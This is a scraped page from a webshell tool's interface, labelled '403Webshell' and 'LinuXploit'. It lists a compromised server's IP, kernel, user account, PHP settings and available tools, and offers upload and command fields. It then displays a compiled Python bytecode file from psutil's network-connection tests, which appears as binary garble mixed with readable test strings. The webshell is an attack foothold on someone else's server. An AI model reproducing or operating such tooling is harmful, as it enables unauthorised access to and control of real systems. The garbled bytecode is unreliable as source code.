403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/psutil/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/psutil/tests/__pycache__/test_connections.cpython-311.pyc
�

�bicrS��6�dZddlZddlZddlZddlZddlmZddlmZddlmZddlm	Z	ddlm
Z
ddlZddlmZdd	lm
Z
dd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddlm$Z$ddlm%Z%ddlm&Z&dd lm'Z'ej(��Z)e*ed!e+����Z,e#Gd"�d#e����Z-Gd$�d%e-��Z.e#Gd&�d'e-����Z/e#Gd(�d)e-����Z0Gd*�d+e-��Z1ej2ed,��Gd-�d.e-����Z3Gd/�d0e��Z4e5d1krdd2l6m7Z7e7e8��dSdS)3z;Tests for net_connections() and Process.connections() APIs.�N)�closing)�AF_INET)�AF_INET6)�
SOCK_DGRAM)�SOCK_STREAM)�FREEBSD)�LINUX)�MACOS)�NETBSD)�OPENBSD)�POSIX)�SUNOS)�WINDOWS)�
supports_ipv6)�PY3)�AF_UNIX)�HAS_CONNECTIONS_UNIX)�SKIP_SYSCONS)�PsutilTestCase)�bind_socket)�bind_unix_socket)�check_connection_ntuple)�create_sockets)�
reap_children)�retry_on_failure)�	serialrun)�skip_on_access_denied)�tcp_socketpair)�unix_socketpair)�
wait_for_file�SOCK_SEQPACKETc�"�eZdZd�Zd�Zdd�ZdS)�ConnectionTestCasec�x�ts.ts)t�d���}|rJ|���dSdSdS�N�all��kind)rr�thisproc�connections��self�conss  �?/usr/lib/python3/dist-packages/psutil/tests/test_connections.py�setUpzConnectionTestCase.setUp6sW���	"�'�	"��'�'�U�'�3�3�D��!�!�T�!�!�!�	"�	"�	"�	"�
"�!�c�x�ts.ts)t�d���}|rJ|���dSdSdSr%)rrr)r*r+s  r.�tearDownzConnectionTestCase.tearDown<sY���	"�6�	"��'�'�U�'�3�3�D��!�!�T�!�!�!�		"�	"�	"�	"�
"�!r0r&c�
��	tj|���}n#tj$rtrYdS�wxYw�fd�|D��}|���|���|�||��dS)z�Given a process PID and its list of connections compare
        those against system-wide connections retrieved via
        psutil.net_connections.
        r'Nc�:��g|]}|j�k�
|dd���S)N�����pid)�.0�cr7s  �r.�
<listcomp>zBConnectionTestCase.compare_procsys_connections.<locals>.<listcomp>Rs(���=�=�=�q������A�c�r�c�F���r0)�psutil�net_connections�AccessDeniedr
�sort�assertEqual)r,r7�	proc_consr(�sys_conss `   r.�compare_procsys_connectionsz.ConnectionTestCase.compare_procsys_connectionsCs����
	��-�4�8�8�8�H�H���"�	�	�	��
�����
	����>�=�=�=�H�=�=�=���
�
��������������H�-�-�-�-�-s��4�4N)r&)�__name__�
__module__�__qualname__r/r2rB�r0r.r#r#3sF������"�"�"�"�"�"�.�.�.�.�.�.r0r#c�N�eZdZejed��d���Zd�Zd�ZdS)�TestBasicOperations�
requires rootc��t��5tjd���D]}t|���	ddd��dS#1swxYwYdSr%)rr;r<r�r,�conns  r.�test_systemzTestBasicOperations.test_systemZs���
�
�
�	.�	.��.�E�:�:�:�
.�
.��'��-�-�-�-�
.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.����	.�	.�	.�	.�	.�	.s�(A�A	�A	c���t��5tj���d���D]}t	|���	ddd��dS#1swxYwYdSr%)rr;�Processr*rrKs  r.�test_processz TestBasicOperations.test_process`s���
�
�
�	.�	.���(�(�4�4�%�4�@�@�
.�
.��'��-�-�-�-�
.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.����	.�	.�	.�	.�	.�	.s�:A�A�Ac��|�ttjd���|�ttjd���dS)Nz???r')�assertRaises�
ValueErrorr)r*r;r<)r,s r.�test_invalid_kindz%TestBasicOperations.test_invalid_kindesD�����*�h�&:���G�G�G����*�f�&<�5��I�I�I�I�Ir0N)	rCrDrE�unittest�skipIfrrMrPrTrFr0r.rHrHXs_�������X�_�\�?�3�3�.�.�4�3�.�
.�.�.�
J�J�J�J�Jr0rHc�"�eZdZdZd�Zd�Zd�Zeje	��d��d���Z
d�Zeje	��d��d���Zeje
d	��d
���Zeje
d	��d���ZdS)
�TestUnconnectedSocketsz;Tests sockets which are open but not connected to anything.c��t�d���}td�|D����}tstr||���S|�t|��d��|djdkrE|�||���j|�����|dS)Nr&r'c� �g|]}|j|f��SrF)�fd�r8r9s  r.r:z=TestUnconnectedSockets.get_conn_from_sock.<locals>.<listcomp>ps��-�-�-�1�a�d�A�Y�-�-�-r0�rr5)	r)r*�dictrr�filenor?�lenr[)r,�sockr-�smaps    r.�get_conn_from_sockz)TestUnconnectedSockets.get_conn_from_sockns����#�#��#�/�/���-�-��-�-�-�.�.���	�W�	�����
�
�&�&����S��Y�Y��*�*�*��A�w�z�R���� � ��d�k�k�m�m�!4�!7������G�G�G���7�Nr0c�`�|�|��}t|��|jdkr-|�|j|�����|�|j|j��|�|j|�tj	tj
����|���}|s0tr)t|t��r|���}|jt kr
|dd�}|jt"krt$rn|�|j|��|jt"krKt(rDt*�d���}|�t1j��|d���|S)z�Given a socket, makes sure it matches the one obtained
        via psutil. It assumes this process created one connection
        only (the one supposed to be checked).
        r5N�r&r')rcrr[r?r_�family�type�
getsockopt�socket�
SOL_SOCKET�SO_TYPE�getsocknamer�
isinstance�bytes�decoderrr�laddrrr)r*rB�os�getpid)r,rarLrpr-s     r.�check_socketz#TestUnconnectedSockets.check_socket{sy��
�&�&�t�,�,����%�%�%��7�b�=�=����T�W�d�k�k�m�m�4�4�4������d�k�2�2�2�����I�t���v�'8�&�.�I�I�	K�	K�	K�� � �"�"���	#��	#��E�5�!9�!9�	#��L�L�N�N�E��;�(�"�"��"�1�"�I�E��;�'�!�!�g�!�����T�Z��/�/�/��;�'�!�!�&:�!��'�'�U�'�3�3�D��,�,�R�Y�[�[�$�U�,�K�K�K��r0c��d}tttt|�����5}|�|��}|jrJ�|�|jtj	��ddd��dS#1swxYwYdS�N��	127.0.0.1r��addr)
rrrrrs�raddrr?�statusr;�CONN_LISTEN�r,ryrarLs    r.�test_tcp_v4z"TestUnconnectedSockets.test_tcp_v4�s�����
�[��+�D�A�A�A�
B�
B�	>�d��$�$�T�*�*�D��z�!�!�!����T�[�&�*<�=�=�=�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>����	>�	>�	>�	>�	>�	>��AA=�=B�BzIPv6 not supportedc��d}tttt|�����5}|�|��}|jrJ�|�|jtj	��ddd��dS#1swxYwYdS�N)�::1rrx)
rrrrrsrzr?r{r;r|r}s    r.�test_tcp_v6z"TestUnconnectedSockets.test_tcp_v6�s�����
�[��;�T�B�B�B�
C�
C�	>�t��$�$�T�*�*�D��z�!�!�!����T�[�&�*<�=�=�=�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>����	>�	>�	>�	>�	>�	>rc��d}tttt|�����5}|�|��}|jrJ�|�|jtj	��ddd��dS#1swxYwYdSru)
rrrrrsrzr?r{r;�	CONN_NONEr}s    r.�test_udp_v4z"TestUnconnectedSockets.test_udp_v4�s�����
�[��*�4�@�@�@�
A�
A�	<�T��$�$�T�*�*�D��z�!�!�!����T�[�&�*:�;�;�;�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<����	<�	<�	<�	<�	<�	<rc��d}tttt|�����5}|�|��}|jrJ�|�|jtj	��ddd��dS#1swxYwYdSr�)
rrrrrsrzr?r{r;r�r}s    r.�test_udp_v6z"TestUnconnectedSockets.test_udp_v6�s�����
�[��:�D�A�A�A�
B�
B�	<�d��$�$�T�*�*�D��z�!�!�!����T�[�&�*:�;�;�;�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<����	<�	<�	<�	<�	<�	<r�
POSIX onlyc�,�|���}tt|t�����5}|�|��}|jrJ�|�|jtj	��ddd��dS#1swxYwYdS�N)rg�
�
get_testfnrrrrsrzr?r{r;r��r,�testfnrarLs    r.�
test_unix_tcpz$TestUnconnectedSockets.test_unix_tcp��������"�"��
�%�f�;�?�?�?�
@�
@�	<�D��$�$�T�*�*�D��z�!�!�!����T�[�&�*:�;�;�;�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<����	<�	<�	<�	<�	<�	<��AB	�	B
�B
c�,�|���}tt|t�����5}|�|��}|jrJ�|�|jtj	��ddd��dS#1swxYwYdSr�r�r�s    r.�
test_unix_udpz$TestUnconnectedSockets.test_unix_udp�r�r�N)rCrDrE�__doc__rcrsr~rUrVrr�r�r�r
r�r�rFr0r.rXrXjs������E�E����!�!�!�F>�>�>��X�_�����(�*>�?�?�>�>�@�?�>�<�<�<��X�_�����(�*>�?�?�<�<�@�?�<��X�_��Y��-�-�<�<�.�-�<��X�_��Y��-�-�<�<�.�-�<�<�<r0rXc�|�eZdZdZejed��d���Zejed��d���Z	dS)�TestConnectedSocketzJTest socket pairs which are are actually connected to
    each other.
    zunreliable on SUONSc�J�d}t�d���rJ�tt|���\}}	t�d���}|�t|��d��|�|djtj��|�|djtj��|�	��|�	��dS#|�	��|�	��wxYw)Nrv�tcp4r'rxrerr])
r)r*rrr?r`r{r;�CONN_ESTABLISHED�close)r,ry�server�clientr-s     r.�test_tcpzTestConnectedSocket.test_tcp�s������'�'�V�'�4�4�4�4�4�'��d�;�;�;����
	��'�'�V�'�4�4�D����S��Y�Y��*�*�*����T�!�W�^�V�-D�E�E�E����T�!�W�^�V�-D�E�E�E�
�L�L�N�N�N��L�L�N�N�N�N�N��
�L�L�N�N�N��L�L�N�N�N�N���s�BC8�8*D"r�c��|���}t|��\}}	t�d���}|djr|djrJ�|djr|djrJ�tstrd�|D��}|�t|��d|���tststrq|�|djd��|�|djd��|�||djp|dj��n�trL|dj|dj|dj|djfD]}|�|d���n\|�|djp|dj|��|�|djp|dj|��|�
��|�
��dS#|�
��|�
��wxYw)	N�unixr'rr]c�(�g|]}|jdk�
|��S)z/var/run/log)rzr\s  r.r:z1TestConnectedSocket.test_unix.<locals>.<listcomp>�s$��E�E�E�a�1�7�n�+D�+D��+D�+D�+Dr0re��msg�)r�rr)r*rprzrrr?r`r	rrr�)r,r�r�r�r-rys      r.�	test_unixzTestConnectedSocket.test_unix�s$�����"�"��(��0�0����	��'�'�V�'�4�4�D��Q��
�8�$�q�'�-�8�8�8��Q��
�8�$�q�'�-�8�8�8��
F��
F�F�E�4�E�E�E�����S��Y�Y��t��4�4�4��
I��
I�5�
I�� � ��a����3�3�3�� � ��a����3�3�3�� � ���a���)G�$�q�'�-�H�H�H�H��	
I�!�!�W�]�D��G�M�!�!�W�]�D��G�M�;�/�/�D��$�$�T�2�.�.�.�.�/�� � ��a���!?�$�q�'�-��H�H�H�� � ��a���!?�$�q�'�-��H�H�H��L�L�N�N�N��L�L�N�N�N�N�N��
�L�L�N�N�N��L�L�N�N�N�N���s�GH�*IN)
rCrDrEr�rUrVrr�r
r�rFr0r.r�r��su���������X�_�U�1�2�2���3�2��&�X�_��Y��-�-���.�-���r0r�c�D�eZdZd�Zee���d���Zd�ZdS)�TestFiltersc�����fd�}t��5|dtttgtt
tg��|dttgtt
g��|dtgtt
g��|dttgtg��|dtgtg��|dtgtg��|dttgt
g��|d	tgt
g��|d
tgt
g��tr%|dtgtt
tg��ddd��dS#1swxYwYdS)Nc�^��t�|���D]8}��|j|����|j|���9t
sNt
j|���D]:}��|j|����|j|���9dSdS)Nr')r)r*�assertInrfrgrr;r<)r(�families�typesrLr,s    �r.�checkz'TestFilters.test_filters.<locals>.checks���� �,�,�$�,�7�7�
0�
0���
�
�d�k�8�4�4�4��
�
�d�i��/�/�/�/��
4�"�2��=�=�=�4�4�D��M�M�$�+�x�8�8�8��M�M�$�)�U�3�3�3�3�
4�
4�4�4r0r&�inet�inet4�tcpr��tcp6�udp�udp4�udp6r�)rrrrrrr!r)r,r�s` r.�test_filterszTestFilters.test_filters
s���	4�	4�	4�	4�	4��
�
�	A�	A��E�%��H�g�.��
�N�;�
=�
=�
=�
�E�&��H�%��
�+�
-�
-�
-�
�E�'��)��
�+�
-�
-�
-�
�E�%��H�%��-�
!�
!�
!�
�E�&��)��-�
!�
!�
!�
�E�&��*��-�
!�
!�
!�
�E�%��H�%��,�
 �
 �
 �
�E�&��)��,�
 �
 �
 �
�E�&��*��,�
 �
 �
 �$�
A���f��i�"�J��?�A�A�A�;	A�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A����	A�	A�	A�	A�	A�	As�EE&�&E*�-E*)�only_ifc���t���fd�}tjd��}tjd��}tj���tj�������}|�tt��d|���}|�tt��d|���}|�tt��d|���}|�tt��d|���}��|��}	tt|d�	����}
��|��}tt|d�	����}t��rg��|��}
tt|d�	����}��|��}tt|d�	����}nd}
d}d}d}t ���D�].}|���}��t)|��d
��|D]�}|j|	jkr'|||tt,|
dt.jd���9|j|jkr'|||tt2|dt.jd
���p|jt7|
dd��kr'|||tt,|dt.jd����|jt7|dd��kr&|||tt2|dt.jd�����0dS)Nc����d}t|����|j|����|j|����|j|����|j|����|j|��|D]-}	|�|	���}
|	|vr|
sJ��!|
r
J|
����.tr��	|j
|g��dSdS)N)
r&r�r��inet6r�r�r�r�r�r�r')rr?rfrgrprzr{r*rrBr7)�procrLrfrgrprzr{�kinds�	all_kindsr(r-r,s           �r.�
check_connz+TestFilters.test_combos.<locals>.check_conn<s���8�I�#�D�)�)�)����T�[�&�1�1�1����T�Y��-�-�-����T�Z��/�/�/����T�Z��/�/�/����T�[�&�1�1�1�!�
*�
*���'�'�T�'�2�2���5�=�=��K�K�K�K�#�)�)�T�)�)�)�)�$�
C��0�0���D�6�B�B�B�B�B�
C�
Cr0a
            import socket, time
            s = socket.socket({family}, socket.SOCK_STREAM)
            s.bind(('{addr}', 0))
            s.listen(5)
            with open('{testfn}', 'w') as f:
                f.write(str(s.getsockname()[:2]))
            time.sleep(60)
            a
            import socket, time
            s = socket.socket({family}, socket.SOCK_DGRAM)
            s.bind(('{addr}', 0))
            with open('{testfn}', 'w') as f:
                f.write(str(s.getsockname()[:2]))
            time.sleep(60)
            )�dirrw)rfryr�r�T)�deleter]rF)r&r�r�r�r�)r&r�r�r�r�r7)r&r�r�r�r�)r&r�r�r�r�)r�textwrap�dedentrq�path�basenamer��getcwd�format�intrr�pyrun�evalr rr)�childrenr*r?r`r7rr;r|rr��getattr)r,r��tcp_template�udp_template�testfile�
tcp4_template�
udp4_template�
tcp6_template�
udp6_template�	tcp4_proc�	tcp4_addr�	udp4_proc�	udp4_addr�	tcp6_proc�	tcp6_addr�	udp6_proc�	udp6_addr�pr-rLs`                   r.�test_comboszTestFilters.test_combos8sw�������	C�	C�	C�	C�	C�* ��(���� ��(�����7�#�#�D�O�O��	���O�$D�$D�E�E��$�+�+��w�<�<�k�(�,�D�D�
�$�+�+��w�<�<�k�(�,�D�D�
�$�+�+��x�=�=�u�X�,�?�?�
�$�+�+��x�=�=�u�X�,�?�?�
�
�J�J�}�-�-�	���x��=�=�=�>�>�	��J�J�}�-�-�	���x��=�=�=�>�>�	��?�?�		��
�
�=�1�1�I��]�8�D�A�A�A�B�B�I��
�
�=�1�1�I��]�8�D�A�A�A�B�B�I�I��I��I��I��I��"�"�$�$�	H�	H�A��=�=�?�?�D����S��Y�Y��*�*�*��
H�
H���5�I�M�)�)��J�q�$���i��%�1�F�H�H�H�H��U�i�m�+�+��J�q�$���Y��%�/�F�H�H�H�H��U�g�i���=�=�=�=��J�q�$��+�y�"�%�1�F�H�H�H�H��U�g�i���=�=�=�=��J�q�$��*�i��%�/�F�H�H�H��%
H�	H�	Hr0c��
�t��5t�d���}|�t	|��t��rdnd��|D]I}|�|jttf��|�|j
t���Jt�d���}|�t	|��d��|�|djt��|�|dj
t��t��r�t�d���}|�t	|��d��|�|djt��|�|dj
t��t�d���}|�t	|��t��rdnd��|D]I}|�|jttf��|�|j
t���Jt�d	���}|�t	|��d��|�|djt��|�|dj
t��t��r�t�d
���}|�t	|��d��|�|djt��|�|dj
t��t�d���}|�t	|��t��rdnd��|D]P}|�|jttf��|�|j
ttf���Qt��r�t�d
���}|�t	|��d��|D]I}|�|jt��|�|j
ttf���Jtr�ts�ts�t�d���}|�t	|��d��|D]I}|�|jt ��|�|j
ttf���Jddd��dS#1swxYwYdS)Nr�r'rer]r�rr�r�r�r�r��r�r��)rr)r*r?r`rr�rfrrrgrrrrrr)r,r-rLs   r.�
test_countzTestFilters.test_count�s���
�
�
�7	H�7	H��'�'�U�'�3�3�D����S��Y�Y�]�_�_�(C���!�D�D�D��
9�
9���
�
�d�k�G�X�+>�?�?�?�� � ���K�8�8�8�8��'�'�V�'�4�4�D����S��Y�Y��*�*�*����T�!�W�^�W�5�5�5����T�!�W�\�;�7�7�7����
<��+�+��+�8�8��� � ��T���A�.�.�.�� � ��a����:�:�:�� � ��a���{�;�;�;��'�'�U�'�3�3�D����S��Y�Y�]�_�_�(C���!�D�D�D��
8�
8���
�
�d�k�G�X�+>�?�?�?�� � ���J�7�7�7�7��'�'�V�'�4�4�D����S��Y�Y��*�*�*����T�!�W�^�W�5�5�5����T�!�W�\�:�6�6�6����
;��+�+��+�8�8��� � ��T���A�.�.�.�� � ��a����:�:�:�� � ��a���z�:�:�:��'�'�V�'�4�4�D����S��Y�Y�]�_�_�(C���!�D�D�D��
D�
D���
�
�d�k�G�X�+>�?�?�?��
�
�d�i�+�z�)B�C�C�C�C����
H��+�+��+�9�9��� � ��T���A�.�.�.� �H�H�D��$�$�T�[�(�;�;�;��M�M�$�)�k�:�-F�G�G�G�G�$�
H�W�
H��
H��+�+��+�8�8��� � ��T���A�.�.�.� �H�H�D��$�$�T�[�'�:�:�:��M�M�$�)�k�:�-F�G�G�G�G�o7	H�7	H�7	H�7	H�7	H�7	H�7	H�7	H�7	H�7	H�7	H�7	H����7	H�7	H�7	H�7	H�7	H�7	Hs�UU-�-U1�4U1N)rCrDrEr�rr
r�r�rFr0r.r�r�sl������)A�)A�)A�V��5�)�)�)�^H�^H�*�)�^H�@8H�8H�8H�8H�8Hr0r�rIc�>�eZdZdZd�Ze��d���ZdS)�TestSystemWideConnectionszTests for net_connections().c
����fd�}t��5ddlm}|���D]v\}}|dkrts�|\}}tj|��}��t|��tt|������||||���w	ddd��dS#1swxYwYdS)Nc����|D][}��|j||���|jtkr��|j||���t	|���\dS)Nr�)r�rfrrgr)r-r��types_rLr,s    �r.r�z0TestSystemWideConnections.test_it.<locals>.check�sn����
.�
.���
�
�d�k�8��
�>�>�>��;�'�)�)��M�M�$�)�V��M�>�>�>�'��-�-�-�-�	
.�
.r0r)�	conn_tmapr�)
r�psutil._commonr��itemsrr;r<r?r`�set)r,r�r�r(�groupsr�r�r-s`       r.�test_itz!TestSystemWideConnections.test_it�s,���	.�	.�	.�	.�	.��
�
�		.�		.�0�0�0�0�0�0� )��� 1� 1�
.�
.���f��6�>�>�*>�>��#)� ��&��-�d�3�3��� � ��T���C��D�	�	�N�N�;�;�;���d�H�f�-�-�-�-�
.�		.�		.�		.�		.�		.�		.�		.�		.�		.�		.�		.�		.����		.�		.�		.�		.�		.�		.s�BB5�5B9�<B9c�����t��5}t|��}ddd��n#1swxYwYg�d}g}t|��D]q}|���}|�|��tjd|z��}|�|��}��|j���r|D]}t|����fd�tjd���D��}	�D]{�|�t�fd�|	D����|��tj
���}
|�t|
�d����|���|dS)N�
a                import time, os
                from psutil.tests import create_sockets
                with create_sockets():
                    with open(r'%s', 'w') as f:
                        f.write("hello")
                    time.sleep(60)
                c�&��g|]
}|j�v�|��SrFr6)r8�x�pidss  �r.r:zFTestSystemWideConnections.test_multi_sockets_procs.<locals>.<listcomp>
s;�������A�E��E�E�1�E�E�Er0r&r'c�*��g|]}|j�k�
|��SrFr6)r8r�r7s  �r.r:zFTestSystemWideConnections.test_multi_sockets_procs.<locals>.<listcomp>
s ���!E�!E�!E�������!���r0)rr`�ranger��appendr�r�r�r7r r;r<r?rOr*)
r,�socks�expected�times�fnames�i�fname�src�sproc�sysconsr�r7r�s
           @@r.�test_multi_sockets_procsz2TestSystemWideConnections.test_multi_sockets_procs�s������
�
�	"���5�z�z�H�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"����	"�	"�	"�	"��������u���	#�	#�A��O�O�%�%�E��M�M�%� � � ��/�#��#���C��J�J�s�O�O�E��K�K��	�"�"�"�"��	!�	!�E��%� � � � �����f�4�%�@�@�@������	B�	B�C����S�!E�!E�!E�!E�W�!E�!E�!E�F�F�%�
'�
'�
'���s�#�#�A����S����u�!5�!5�6�6��A�A�A�A�		B�	Bs�-�1�1N)rCrDrEr�r�rr�rFr0r.r�r��sS������&�&�.�.�.�&����$B�$B���$B�$B�$Br0r�c��eZdZd�ZdS)�TestMiscc��g}g}tt��D]�}|�d��r�tt|��}t	|��}|���s
J|���|�t|��|�||��|�|��|�|����trtj	tj
trtjdSdS)N�CONN_)
r�r;�
startswithr��str�isupper�assertNotInr�r�	CONN_IDLE�
CONN_BOUNDr�CONN_DELETE_TCB)r,�ints�strs�name�num�str_s      r.�test_connection_constantsz"TestMisc.test_connection_constantss���������K�K�	"�	"�D����w�'�'�
"��f�d�+�+���3�x�x���|�|�~�~�+�+�t�+�+�+�� � ��d�+�+�+�� � ��d�+�+�+����C� � � ����D�!�!�!���	��������	#��"�"�"�"�	#�	#r0N)rCrDrEr
rFr0r.r�r�s#������#�#�#�#�#r0r��__main__)�
run_from_name)9r�rqrir�rU�
contextlibrrrrrr;rr	r
rrr
rrr�r�psutil._compatr�psutil.testsrrrrrrrrrrrrrrr rOr)r��objectr!r#rHrXr�r�rVr�r�rC�psutil.tests.runnerr�__file__rFr0r.�<module>rsV��B�A�	�	�	�	�
�
�
�
���������������������������������������
�
�
�
�������������������������������������������������(�(�(�(�(�(������� � � � � � �-�-�-�-�-�-�%�%�%�%�%�%�'�'�'�'�'�'�$�$�$�$�$�$�)�)�)�)�)�)�0�0�0�0�0�0�'�'�'�'�'�'�&�&�&�&�&�&�)�)�)�)�)�)�"�"�"�"�"�"�.�.�.�.�.�.�'�'�'�'�'�'�(�(�(�(�(�(�&�&�&�&�&�&��6�>�������!1�6�6�8�8�<�<���!.�!.�!.�!.�!.��!.�!.���!.�HJ�J�J�J�J�,�J�J�J�$�_<�_<�_<�_<�_<�/�_<�_<���_<�D�:�:�:�:�:�,�:�:���:�zFH�FH�FH�FH�FH�$�FH�FH�FH�R�����/�/�;B�;B�;B�;B�;B� 2�;B�;B�0�/�;B�|#�#�#�#�#�~�#�#�#�*�z���1�1�1�1�1�1��M�(�������r0

Youez - 2016 - github.com/yon3zu
LinuXploit